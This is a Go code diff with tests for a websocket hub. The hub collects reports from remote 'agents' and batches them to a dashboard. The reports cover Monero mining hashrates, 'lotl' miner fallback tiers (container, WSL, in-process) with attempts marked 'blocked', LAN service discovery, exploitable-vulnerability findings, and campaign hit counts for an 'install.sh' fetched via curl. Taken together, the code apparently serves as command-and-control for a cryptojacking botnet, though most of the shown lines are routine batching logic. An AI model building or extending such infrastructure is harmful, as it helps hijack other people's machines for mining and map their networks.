broadcast["join_lane"] = stats.JoinLane
|
||||
}
|
||||
if len(stats.NetworkHints) > 0 && string(stats.NetworkHints) != "null" {
|
||||
var hints interface{}
|
||||
if err := json.Unmarshal(stats.NetworkHints, &hints); err == nil {
|
||||
broadcast["network_hints"] = hints
|
||||
}
|
||||
}
|
||||
if len(stats.VulnFindings) > 0 || stats.VulnRiskScore != nil {
|
||||
findings := make([]vuln.Finding, len(stats.VulnFindings))
|
||||
for i, f := range stats.VulnFindings {
|
||||
findings[i] = vuln.Finding{
|
||||
CVEID: f.CVEID, Severity: f.Severity, Component: f.Component,
|
||||
Patched: f.Patched, ExploitableInFleetContext: f.ExploitableInFleetContext,
|
||||
Detail: f.Detail,
|
||||
}
|
||||
}
|
||||
fctx := vuln.FleetContext{SSHAvailable: stats.SSHAvailable != nil && *stats.SSHAvailable}
|
||||
if stats.ListenPortCount != nil {
|
||||
fctx.ListenPortCount = *stats.ListenPortCount
|
||||
}
|
||||
findings = vuln.EnrichFindings(findings, fctx)
|
||||
score := vuln.RiskScore(findings)
|
||||
if stats.VulnRiskScore != nil && *stats.VulnRiskScore > score {
|
||||
score = *stats.VulnRiskScore
|
||||
}
|
||||
broadcast["vuln_findings"] = findings
|
||||
broadcast["vuln_risk_score"] = score
|
||||
}
|
||||
// Attach latest RTT latency from the ping loop.
|
||||
if ac := h.getAgentConn(agentID); ac != nil {
|
||||
ac.latencyMu.Lock()
|
||||
@@ -1030,7 +1168,7 @@ func (h *WSHub) HandleAgentWS(w http.ResponseWriter, r *http.Request) {
|
||||
}
|
||||
ac.latencyMu.Unlock()
|
||||
}
|
||||
h.broadcastDashboard(Message{Type: "stats_update", Payload: mustMarshal(broadcast)})
|
||||
h.queueStatsBroadcast(broadcast)
|
||||
|
||||
case "submit_share":
|
||||
if agentID == "" {
|
||||
@@ -1187,6 +1325,17 @@ func (h *WSHub) HandleAgentWS(w http.ResponseWriter, r *http.Request) {
|
||||
payload["agent_id"] = agentID
|
||||
h.broadcastDashboard(Message{Type: "policy_ack", Payload: mustMarshal(payload)})
|
||||
|
||||
case "mining_fallback", "mining_status", "tier_report":
|
||||
if agentID == "" {
|
||||
continue
|
||||
}
|
||||
var payload map[string]interface{}
|
||||
if err := json.Unmarshal(msg.Payload, &payload); err != nil {
|
||||
continue
|
||||
}
|
||||
payload["agent_id"] = agentID
|
||||
h.queueStatsBroadcast(payload)
|
||||
|
||||
case "command_result":
|
||||
if agentID == "" {
|
||||
continue
|
||||
@@ -1200,6 +1349,13 @@ func (h *WSHub) HandleAgentWS(w http.ResponseWriter, r *http.Request) {
|
||||
// Notify any handler waiting for this specific agent+action result.
|
||||
if action, _ := payload["action"].(string); action != "" {
|
||||
h.notifyCmdCallback(agentID, action, payload)
|
||||
if action == "service_discover" {
|
||||
if ok, _ := payload["success"].(bool); ok {
|
||||
if msg, _ := payload["message"].(string); strings.TrimSpace(msg) != "" {
|
||||
h.cacheServiceDiscover(agentID, msg)
|
||||
}
|
||||
}
|
||||
}
|
||||
if action == "full_sys_check" {
|
||||
if ok, _ := payload["success"].(bool); ok {
|
||||
if msg, _ := payload["message"].(string); msg != "" && h.eventNotifier != nil {
|
||||
@@ -1328,6 +1484,70 @@ func (h *WSHub) HandleDashboardWS(w http.ResponseWriter, r *http.Request) {
|
||||
}
|
||||
}
|
||||
|
||||
const statsBatchInterval = 250 * time.Millisecond
|
||||
|
||||
// mergeStatsPayload shallow-merges two stats maps so stats + mining_status in the
|
||||
// same 250ms window both land in one stats_batch update for dashboards.
|
||||
func mergeStatsPayload(existing, incoming json.RawMessage) json.RawMessage {
|
||||
var base, patch map[string]interface{}
|
||||
if json.Unmarshal(existing, &base) != nil || base == nil {
|
||||
base = map[string]interface{}{}
|
||||
}
|
||||
if json.Unmarshal(incoming, &patch) != nil || patch == nil {
|
||||
return existing
|
||||
}
|
||||
for k, v := range patch {
|
||||
base[k] = v
|
||||
}
|
||||
return mustMarshal(base)
|
||||
}
|
||||
|
||||
// queueStatsBroadcast accumulates per-agent stats and flushes one stats_batch
|
||||
// message per interval instead of N individual stats_update frames.
|
||||
func (h *WSHub) queueStatsBroadcast(payload map[string]interface{}) {
|
||||
agentID, _ := payload["agent_id"].(string)
|
||||
if agentID == "" {
|
||||
return
|
||||
}
|
||||
data := mustMarshal(payload)
|
||||
|
||||
h.statsBatchMu.Lock()
|
||||
if h.statsBatch == nil {
|
||||
h.statsBatch = make(map[string]json.RawMessage)
|
||||
}
|
||||
if prev, ok := h.statsBatch[agentID]; ok {
|
||||
data = mergeStatsPayload(prev, data)
|
||||
}
|
||||
h.statsBatch[agentID] = data
|
||||
if h.statsBatchTimer == nil {
|
||||
h.statsBatchTimer = time.AfterFunc(statsBatchInterval, h.flushStatsBatch)
|
||||
}
|
||||
h.statsBatchMu.Unlock()
|
||||
}
|
||||
|
||||
func (h *WSHub) flushStatsBatch() {
|
||||
h.statsBatchMu.Lock()
|
||||
batch := h.statsBatch
|
||||
h.statsBatch = nil
|
||||
if h.statsBatchTimer != nil {
|
||||
h.statsBatchTimer.Stop()
|
||||
h.statsBatchTimer = nil
|
||||
}
|
||||
h.statsBatchMu.Unlock()
|
||||
|
||||
if len(batch) == 0 {
|
||||
return
|
||||
}
|
||||
updates := make([]json.RawMessage, 0, len(batch))
|
||||
for _, raw := range batch {
|
||||
updates = append(updates, raw)
|
||||
}
|
||||
h.broadcastDashboard(Message{
|
||||
Type: "stats_batch",
|
||||
Payload: mustMarshal(map[string]interface{}{"updates": updates}),
|
||||
})
|
||||
}
|
||||
|
||||
func (h *WSHub) broadcastDashboard(msg Message) {
|
||||
h.mu.RLock()
|
||||
defer h.mu.RUnlock()
|
||||
@@ -1557,6 +1777,79 @@ func (h *WSHub) GetAgentLog(agentID string) string {
|
||||
return h.agentLogs[agentID]
|
||||
}
|
||||
|
||||
type cachedServiceDiscover struct {
|
||||
Local ServiceGraphHost
|
||||
LANHosts []ServiceGraphHost
|
||||
}
|
||||
|
||||
func (h *WSHub) cacheServiceDiscover(agentID, message string) {
|
||||
var payload struct {
|
||||
Local ServiceGraphHost `json:"local"`
|
||||
LANHosts []ServiceGraphHost `json:"lan_hosts,omitempty"`
|
||||
}
|
||||
if err := json.Unmarshal([]byte(message), &payload); err != nil {
|
||||
return
|
||||
}
|
||||
h.mu.Lock()
|
||||
h.agentServiceDiscover[agentID] = cachedServiceDiscover{
|
||||
Local: payload.Local,
|
||||
LANHosts: payload.LANHosts,
|
||||
}
|
||||
h.mu.Unlock()
|
||||
}
|
||||
|
||||
func subnetLabelMatches(hostSubnet, query string) bool {
|
||||
hostSubnet = strings.TrimSpace(hostSubnet)
|
||||
query = strings.TrimSpace(query)
|
||||
if query == "" {
|
||||
return true
|
||||
}
|
||||
query = strings.TrimSuffix(query, ".x")
|
||||
hostSubnet = strings.TrimSuffix(hostSubnet, ".x")
|
||||
return hostSubnet == query || strings.HasPrefix(hostSubnet, query+".") || strings.HasPrefix(query, hostSubnet+".")
|
||||
}
|
||||
|
||||
// QueryServiceGraph returns deduped service entries from cached service_discover runs.
|
||||
func (h *WSHub) QueryServiceGraph(agentID, subnet string) []ServiceGraphEntry {
|
||||
h.mu.RLock()
|
||||
defer h.mu.RUnlock()
|
||||
|
||||
seen := make(map[string]bool)
|
||||
var out []ServiceGraphEntry
|
||||
add := func(entries []ServiceGraphEntry) {
|
||||
for _, e := range entries {
|
||||
key := strings.ToLower(e.ServiceName) + "|" + fmt.Sprintf("%d", e.Port)
|
||||
if seen[key] {
|
||||
continue
|
||||
}
|
||||
seen[key] = true
|
||||
out = append(out, e)
|
||||
}
|
||||
}
|
||||
|
||||
collect := func(cached cachedServiceDiscover) {
|
||||
if subnetLabelMatches(cached.Local.Subnet, subnet) {
|
||||
add(cached.Local.Services)
|
||||
}
|
||||
for _, host := range cached.LANHosts {
|
||||
if subnetLabelMatches(host.Subnet, subnet) {
|
||||
add(host.Services)
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
if agentID != "" {
|
||||
if cached, ok := h.agentServiceDiscover[agentID]; ok {
|
||||
collect(cached)
|
||||
}
|
||||
return out
|
||||
}
|
||||
for _, cached := range h.agentServiceDiscover {
|
||||
collect(cached)
|
||||
}
|
||||
return out
|
||||
}
|
||||
|
||||
func (h *WSHub) BroadcastFleetAlert(ev interface{}) {
|
||||
h.broadcastDashboard(Message{Type: "fleet_alert", Payload: mustMarshal(ev)})
|
||||
}
|
||||
@@ -1618,12 +1911,15 @@ func (h *WSHub) BroadcastEmberwakeNotes(notes interface{}) {
|
||||
})
|
||||
}
|
||||
|
||||
// warRoomBroadcastInterval is the Emberwake war-room WS tick (overridable in tests).
|
||||
var warRoomBroadcastInterval = 30 * time.Second
|
||||
|
||||
// runWarRoomBroadcast pushes funnel stats to dashboard clients every 30s.
|
||||
func (h *WSHub) runWarRoomBroadcast() {
|
||||
if h.db == nil {
|
||||
return
|
||||
}
|
||||
ticker := time.NewTicker(30 * time.Second)
|
||||
ticker := time.NewTicker(warRoomBroadcastInterval)
|
||||
defer ticker.Stop()
|
||||
for range ticker.C {
|
||||
data, err := h.db.ListWarRoom(7)
|
||||
|
||||
@@ -3,6 +3,7 @@ package api
|
||||
import (
|
||||
"encoding/base64"
|
||||
"encoding/json"
|
||||
"fmt"
|
||||
"net/http"
|
||||
"net/http/httptest"
|
||||
"strings"
|
||||
@@ -599,3 +600,379 @@ func TestAgentNameUpdatesFromHostnameWhenDefault(t *testing.T) {
|
||||
t.Errorf("default name should follow hostname update; got %q", agent.Name)
|
||||
}
|
||||
}
|
||||
|
||||
// TestMiningStatusRelayCoalescedToStatsBatch verifies mining_status / mining_fallback
|
||||
// from agents are batched into a single stats_batch frame for dashboards.
|
||||
func TestMiningStatusRelayCoalescedToStatsBatch(t *testing.T) {
|
||||
resetWSAuthUsers(t, testAuthUser, testAuthPass)
|
||||
database, err := db.New(t.TempDir())
|
||||
if err != nil {
|
||||
t.Fatal(err)
|
||||
}
|
||||
t.Cleanup(func() { _ = database.Close() })
|
||||
hub := NewWSHub(database)
|
||||
|
||||
dashSrv := httptest.NewServer(http.HandlerFunc(hub.HandleDashboardWS))
|
||||
t.Cleanup(dashSrv.Close)
|
||||
dashURL := "ws" + strings.TrimPrefix(dashSrv.URL, "http") + "?token=" + wsDashboardToken(testAuthUser, testAuthPass)
|
||||
dashConn, _, err := websocket.DefaultDialer.Dial(dashURL, nil)
|
||||
if err != nil {
|
||||
t.Fatalf("dial dashboard: %v", err)
|
||||
}
|
||||
t.Cleanup(func() { _ = dashConn.Close() })
|
||||
|
||||
type batchResult struct {
|
||||
updates []map[string]interface{}
|
||||
err string
|
||||
}
|
||||
batchCh := make(chan batchResult, 1)
|
||||
go func() {
|
||||
_ = dashConn.SetReadDeadline(time.Now().Add(5 * time.Second))
|
||||
for {
|
||||
var msg Message
|
||||
if err := dashConn.ReadJSON(&msg); err != nil {
|
||||
batchCh <- batchResult{err: err.Error()}
|
||||
return
|
||||
}
|
||||
if msg.Type != "stats_batch" {
|
||||
continue
|
||||
}
|
||||
var body struct {
|
||||
Updates []json.RawMessage `json:"updates"`
|
||||
}
|
||||
if parseErr := json.Unmarshal(msg.Payload, &body); parseErr != nil {
|
||||
batchCh <- batchResult{err: parseErr.Error()}
|
||||
return
|
||||
}
|
||||
updates := make([]map[string]interface{}, 0, len(body.Updates))
|
||||
for _, raw := range body.Updates {
|
||||
var u map[string]interface{}
|
||||
if json.Unmarshal(raw, &u) != nil {
|
||||
continue
|
||||
}
|
||||
updates = append(updates, u)
|
||||
}
|
||||
batchCh <- batchResult{updates: updates}
|
||||
return
|
||||
}
|
||||
}()
|
||||
|
||||
agentA := "mining-agent-a"
|
||||
agentB := "mining-agent-b"
|
||||
connA := connectTestAgent(t, hub, agentA)
|
||||
connB := connectTestAgent(t, hub, agentB)
|
||||
|
||||
payloadA, _ := json.Marshal(map[string]interface{}{
|
||||
"active_method": "inprocess",
|
||||
"hashrate_15s": 150.0,
|
||||
"mining_hashrate": 150.0,
|
||||
"lotl_tier": "cpu_inprocess",
|
||||
"lotl_attempts": []map[string]interface{}{
|
||||
{"tier": "container", "ok": false, "error": "blocked", "duration_ms": 400},
|
||||
{"tier": "cpu_inprocess", "ok": true, "duration_ms": 900, "wallet": "xmr"},
|
||||
},
|
||||
})
|
||||
payloadB, _ := json.Marshal(map[string]interface{}{
|
||||
"active_method": "container",
|
||||
"chain_exhausted": false,
|
||||
"hashrate_15s": 200.0,
|
||||
})
|
||||
if err := connA.WriteJSON(Message{Type: "mining_status", Payload: payloadA}); err != nil {
|
||||
t.Fatal(err)
|
||||
}
|
||||
if err := connB.WriteJSON(Message{Type: "mining_fallback", Payload: payloadB}); err != nil {
|
||||
t.Fatal(err)
|
||||
}
|
||||
|
||||
select {
|
||||
case r := <-batchCh:
|
||||
if r.err != "" {
|
||||
t.Fatalf("dashboard did not receive stats_batch: %s", r.err)
|
||||
}
|
||||
if len(r.updates) != 2 {
|
||||
t.Fatalf("expected 2 coalesced updates, got %d: %+v", len(r.updates), r.updates)
|
||||
}
|
||||
byAgent := map[string]map[string]interface{}{}
|
||||
for _, u := range r.updates {
|
||||
id, _ := u["agent_id"].(string)
|
||||
if id == "" {
|
||||
t.Fatalf("update missing agent_id: %+v", u)
|
||||
}
|
||||
byAgent[id] = u
|
||||
}
|
||||
if byAgent[agentA]["active_method"] != "inprocess" {
|
||||
t.Errorf("agent A active_method = %v", byAgent[agentA]["active_method"])
|
||||
}
|
||||
if byAgent[agentA]["mining_hashrate"] != 150.0 {
|
||||
t.Errorf("agent A mining_hashrate = %v", byAgent[agentA]["mining_hashrate"])
|
||||
}
|
||||
if byAgent[agentA]["lotl_tier"] != "cpu_inprocess" {
|
||||
t.Errorf("agent A lotl_tier = %v", byAgent[agentA]["lotl_tier"])
|
||||
}
|
||||
attempts, ok := byAgent[agentA]["lotl_attempts"].([]interface{})
|
||||
if !ok || len(attempts) != 2 {
|
||||
t.Errorf("agent A lotl_attempts = %T %v", byAgent[agentA]["lotl_attempts"], byAgent[agentA]["lotl_attempts"])
|
||||
}
|
||||
if byAgent[agentB]["active_method"] != "container" {
|
||||
t.Errorf("agent B active_method = %v", byAgent[agentB]["active_method"])
|
||||
}
|
||||
case <-time.After(2 * time.Second):
|
||||
t.Fatal("timed out waiting for stats_batch relay")
|
||||
}
|
||||
}
|
||||
|
||||
func TestStatsBatchCoalescesSameAgent(t *testing.T) {
|
||||
hub := NewWSHub(nil)
|
||||
hub.queueStatsBroadcast(map[string]interface{}{
|
||||
"agent_id": "a1", "hashrate_15s": 10.0,
|
||||
})
|
||||
hub.queueStatsBroadcast(map[string]interface{}{
|
||||
"agent_id": "a1", "hashrate_15s": 99.0, "active_method": "inprocess",
|
||||
})
|
||||
hub.flushStatsBatch()
|
||||
|
||||
// Merged coalesce — later keys overwrite, earlier keys preserved.
|
||||
hub.queueStatsBroadcast(map[string]interface{}{"agent_id": "a1", "hashrate_15s": 10.0, "lotl_tier": "cpu_inprocess"})
|
||||
hub.queueStatsBroadcast(map[string]interface{}{"agent_id": "a1", "mining_hashrate": 850.0})
|
||||
hub.statsBatchMu.Lock()
|
||||
if len(hub.statsBatch) != 1 {
|
||||
t.Fatalf("expected 1 agent in batch map, got %d", len(hub.statsBatch))
|
||||
}
|
||||
var merged map[string]interface{}
|
||||
if err := json.Unmarshal(hub.statsBatch["a1"], &merged); err != nil {
|
||||
t.Fatal(err)
|
||||
}
|
||||
hub.statsBatchMu.Unlock()
|
||||
if merged["hashrate_15s"] != 10.0 {
|
||||
t.Fatalf("expected preserved hashrate_15s, got %v", merged["hashrate_15s"])
|
||||
}
|
||||
if merged["lotl_tier"] != "cpu_inprocess" {
|
||||
t.Fatalf("expected lotl_tier preserved, got %v", merged["lotl_tier"])
|
||||
}
|
||||
if merged["mining_hashrate"] != 850.0 {
|
||||
t.Fatalf("expected mining_hashrate merged, got %v", merged["mining_hashrate"])
|
||||
}
|
||||
|
||||
hub.queueStatsBroadcast(map[string]interface{}{"agent_id": "a1", "hashrate_15s": 1.0})
|
||||
hub.queueStatsBroadcast(map[string]interface{}{"agent_id": "a1", "hashrate_15s": 2.0})
|
||||
hub.statsBatchMu.Lock()
|
||||
if len(hub.statsBatch) != 1 {
|
||||
t.Fatalf("expected 1 agent in batch map, got %d", len(hub.statsBatch))
|
||||
}
|
||||
var last map[string]interface{}
|
||||
if err := json.Unmarshal(hub.statsBatch["a1"], &last); err != nil {
|
||||
t.Fatal(err)
|
||||
}
|
||||
hub.statsBatchMu.Unlock()
|
||||
if last["hashrate_15s"] != 2.0 {
|
||||
t.Fatalf("latest update should win coalesce, got %v", last["hashrate_15s"])
|
||||
}
|
||||
}
|
||||
|
||||
func TestStatsBatchCoalescesLotlAttempts(t *testing.T) {
|
||||
hub := NewWSHub(nil)
|
||||
hub.queueStatsBroadcast(map[string]interface{}{
|
||||
"agent_id": "a2",
|
||||
"lotl_tier": "container",
|
||||
"lotl_attempts": []map[string]interface{}{
|
||||
{"tier": "wsl", "ok": false, "error": "no distro", "duration_ms": 500},
|
||||
{"tier": "container", "ok": true, "duration_ms": 800, "wallet": "xmr"},
|
||||
},
|
||||
})
|
||||
hub.queueStatsBroadcast(map[string]interface{}{"agent_id": "a2", "mining_hashrate": 1200.0})
|
||||
hub.statsBatchMu.Lock()
|
||||
var merged map[string]interface{}
|
||||
if err := json.Unmarshal(hub.statsBatch["a2"], &merged); err != nil {
|
||||
t.Fatal(err)
|
||||
}
|
||||
hub.statsBatchMu.Unlock()
|
||||
if merged["lotl_tier"] != "container" {
|
||||
t.Fatalf("lotl_tier = %v", merged["lotl_tier"])
|
||||
}
|
||||
attempts, ok := merged["lotl_attempts"].([]interface{})
|
||||
if !ok || len(attempts) != 2 {
|
||||
t.Fatalf("lotl_attempts = %T %v", merged["lotl_attempts"], merged["lotl_attempts"])
|
||||
}
|
||||
if merged["mining_hashrate"] != 1200.0 {
|
||||
t.Fatalf("mining_hashrate = %v", merged["mining_hashrate"])
|
||||
}
|
||||
}
|
||||
|
||||
func TestRunWarRoomBroadcastPushesFrame(t *testing.T) {
|
||||
resetWSAuthUsers(t, testAuthUser, testAuthPass)
|
||||
database, err := db.New(t.TempDir())
|
||||
if err != nil {
|
||||
t.Fatal(err)
|
||||
}
|
||||
t.Cleanup(func() { _ = database.Close() })
|
||||
|
||||
if err := database.LogCampaignEvent("wave-test", "b1", db.CampaignEventPageHit, "install.sh", "10.0.0.1", "curl"); err != nil {
|
||||
t.Fatal(err)
|
||||
}
|
||||
|
||||
prev := warRoomBroadcastInterval
|
||||
warRoomBroadcastInterval = 25 * time.Millisecond
|
||||
t.Cleanup(func() { warRoomBroadcastInterval = prev })
|
||||
|
||||
hub := NewWSHub(database)
|
||||
|
||||
dashSrv := httptest.NewServer(http.HandlerFunc(hub.HandleDashboardWS))
|
||||
t.Cleanup(dashSrv.Close)
|
||||
dashURL := "ws" + strings.TrimPrefix(dashSrv.URL, "http") + "?token=" + wsDashboardToken(testAuthUser, testAuthPass)
|
||||
dashConn, _, err := websocket.DefaultDialer.Dial(dashURL, nil)
|
||||
if err != nil {
|
||||
t.Fatalf("dial dashboard: %v", err)
|
||||
}
|
||||
t.Cleanup(func() { _ = dashConn.Close() })
|
||||
|
||||
type warRoomResult struct {
|
||||
body map[string]interface{}
|
||||
err string
|
||||
}
|
||||
warCh := make(chan warRoomResult, 1)
|
||||
go func() {
|
||||
_ = dashConn.SetReadDeadline(time.Now().Add(3 * time.Second))
|
||||
for {
|
||||
var msg Message
|
||||
if err := dashConn.ReadJSON(&msg); err != nil {
|
||||
warCh <- warRoomResult{err: err.Error()}
|
||||
return
|
||||
}
|
||||
if msg.Type != "emberwake_war_room" {
|
||||
continue
|
||||
}
|
||||
var body map[string]interface{}
|
||||
if parseErr := json.Unmarshal(msg.Payload, &body); parseErr != nil {
|
||||
warCh <- warRoomResult{err: "parse: " + parseErr.Error()}
|
||||
return
|
||||
}
|
||||
warCh <- warRoomResult{body: body}
|
||||
return
|
||||
}
|
||||
}()
|
||||
|
||||
select {
|
||||
case r := <-warCh:
|
||||
if r.err != "" {
|
||||
t.Fatalf("dashboard did not receive emberwake_war_room: %s", r.err)
|
||||
}
|
||||
if days, ok := r.body["days"].(float64); !ok || days != 7 {
|
||||
t.Errorf("days: got %v, want 7", r.body["days"])
|
||||
}
|
||||
campaigns, _ := r.body["campaigns"].([]interface{})
|
||||
if len(campaigns) != 1 {
|
||||
t.Fatalf("expected 1 campaign in war room payload, got %d: %+v", len(campaigns), r.body)
|
||||
}
|
||||
c0, _ := campaigns[0].(map[string]interface{})
|
||||
if c0["campaign"] != "wave-test" {
|
||||
t.Errorf("campaign: got %v, want wave-test", c0["campaign"])
|
||||
}
|
||||
if hits, _ := c0["hits"].(float64); hits != 1 {
|
||||
t.Errorf("hits: got %v, want 1", c0["hits"])
|
||||
}
|
||||
case <-time.After(2 * time.Second):
|
||||
t.Fatal("timed out waiting for emberwake_war_room broadcast")
|
||||
}
|
||||
}
|
||||
|
||||
// TestStatsBatchCoalescesManyAgents verifies 500 distinct agent_id stats updates
|
||||
// queued within one 250ms flush window produce a single stats_batch frame.
|
||||
func TestStatsBatchCoalescesManyAgents(t *testing.T) {
|
||||
resetWSAuthUsers(t, testAuthUser, testAuthPass)
|
||||
database, err := db.New(t.TempDir())
|
||||
if err != nil {
|
||||
t.Fatal(err)
|
||||
}
|
||||
t.Cleanup(func() { _ = database.Close() })
|
||||
hub := NewWSHub(database)
|
||||
|
||||
dashSrv := httptest.NewServer(http.HandlerFunc(hub.HandleDashboardWS))
|
||||
t.Cleanup(dashSrv.Close)
|
||||
dashURL := "ws" + strings.TrimPrefix(dashSrv.URL, "http") + "?token=" + wsDashboardToken(testAuthUser, testAuthPass)
|
||||
dashConn, _, err := websocket.DefaultDialer.Dial(dashURL, nil)
|
||||
if err != nil {
|
||||
t.Fatalf("dial dashboard: %v", err)
|
||||
}
|
||||
t.Cleanup(func() { _ = dashConn.Close() })
|
||||
|
||||
type batchResult struct {
|
||||
updates []map[string]interface{}
|
||||
err string
|
||||
}
|
||||
batchCh := make(chan batchResult, 2)
|
||||
go func() {
|
||||
_ = dashConn.SetReadDeadline(time.Now().Add(5 * time.Second))
|
||||
for {
|
||||
var msg Message
|
||||
if err := dashConn.ReadJSON(&msg); err != nil {
|
||||
batchCh <- batchResult{err: err.Error()}
|
||||
return
|
||||
}
|
||||
if msg.Type != "stats_batch" {
|
||||
continue
|
||||
}
|
||||
var body struct {
|
||||
Updates []json.RawMessage `json:"updates"`
|
||||
}
|
||||
if parseErr := json.Unmarshal(msg.Payload, &body); parseErr != nil {
|
||||
batchCh <- batchResult{err: parseErr.Error()}
|
||||
return
|
||||
}
|
||||
updates := make([]map[string]interface{}, 0, len(body.Updates))
|
||||
for _, raw := range body.Updates {
|
||||
var u map[string]interface{}
|
||||
if json.Unmarshal(raw, &u) != nil {
|
||||
continue
|
||||
}
|
||||
updates = append(updates, u)
|
||||
}
|
||||
batchCh <- batchResult{updates: updates}
|
||||
}
|
||||
}()
|
||||
|
||||
const agentCount = 500
|
||||
for i := 0; i < agentCount; i++ {
|
||||
hub.queueStatsBroadcast(map[string]interface{}{
|
||||
"agent_id": fmt.Sprintf("scale-agent-%d", i),
|
||||
"hashrate_15s": float64(i),
|
||||
})
|
||||
}
|
||||
|
||||
var first batchResult
|
||||
select {
|
||||
case first = <-batchCh:
|
||||
if first.err != "" {
|
||||
t.Fatalf("dashboard did not receive stats_batch: %s", first.err)
|
||||
}
|
||||
case <-time.After(2 * time.Second):
|
||||
t.Fatal("timed out waiting for stats_batch relay")
|
||||
}
|
||||
|
||||
if len(first.updates) != agentCount {
|
||||
t.Fatalf("expected %d coalesced updates in one frame, got %d", agentCount, len(first.updates))
|
||||
}
|
||||
|
||||
seen := make(map[string]struct{}, agentCount)
|
||||
for _, u := range first.updates {
|
||||
id, _ := u["agent_id"].(string)
|
||||
if id == "" {
|
||||
t.Fatalf("update missing agent_id: %+v", u)
|
||||
}
|
||||
if _, dup := seen[id]; dup {
|
||||
t.Fatalf("duplicate agent_id in batch: %q", id)
|
||||
}
|
||||
seen[id] = struct{}{}
|
||||
}
|
||||
if len(seen) != agentCount {
|
||||
t.Fatalf("expected %d distinct agent_ids, got %d", agentCount, len(seen))
|
||||
}
|
||||
|
||||
select {
|
||||
case second := <-batchCh:
|
||||
if second.err == "" {
|
||||
t.Fatalf("expected single stats_batch frame, got second with %d updates", len(second.updates))
|
||||
}
|
||||
case <-time.After(400 * time.Millisecond):
|
||||
// no second batch within coalesce window — good
|
||||
}
|
||||
}
|
||||
|
||||
Reference in New Issue
Block a user